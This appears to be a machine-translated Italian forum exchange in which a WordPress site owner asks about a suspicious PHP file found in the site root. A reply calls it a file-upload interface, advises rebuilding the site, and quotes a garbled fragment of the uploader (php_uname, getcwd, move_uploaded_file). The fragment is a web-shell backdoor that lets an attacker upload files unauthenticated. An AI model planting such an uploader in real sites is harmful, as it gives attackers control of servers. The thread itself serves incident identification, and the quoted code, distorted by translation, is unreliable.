Durante il passaggio nella directory principale del mio sito ho trovato questo file RxR__kyfet.php. Questo è un sito wordpress.
Non conosco il php abbastanza bene da dire esattamente quello che fa ma sembra piuttosto sospetto. Ho controllato i backup precedenti del sito e quel file non era presente.
Ho rimosso il file ma ho tenuto un backup per ogni evenienza.
Qualcuno può aiutarmi a identificare ciò che fa per riferimento futuro?
Sembra un'interfaccia per il caricamento di file sul sistema locale. Se non hai caricato il file da solo, allora sembrerebbe che il tuo sistema sia compromesso. La tua scommessa più sicura è ricostruire il sistema da zero e applicare le ultime patch di sicurezza per wordpress & qualsiasi plugin che usi
Ecco il codice collegato per i posteri:
'. 'Il tuo nome:' . php_uname (). '
'. $ cwd = getcwd ();
Echo "
";
if (! empty ($ _ FILES ['uploads'])) {
move_uploaded_file ($ _ FILES ['uploads'] ['tmp_name'], $ _FILES ['uploads'] ['name']);
Echo "alert ('upload Fatto'); Uploaded !!! nome:". $ _FILES ['uploads'] ['name']. "Dimensione
:". $ _FILES ['uploads'] ['size']. "Tipo di testo:". $ _FILES [ 'upload'] [ 'type'];
}? >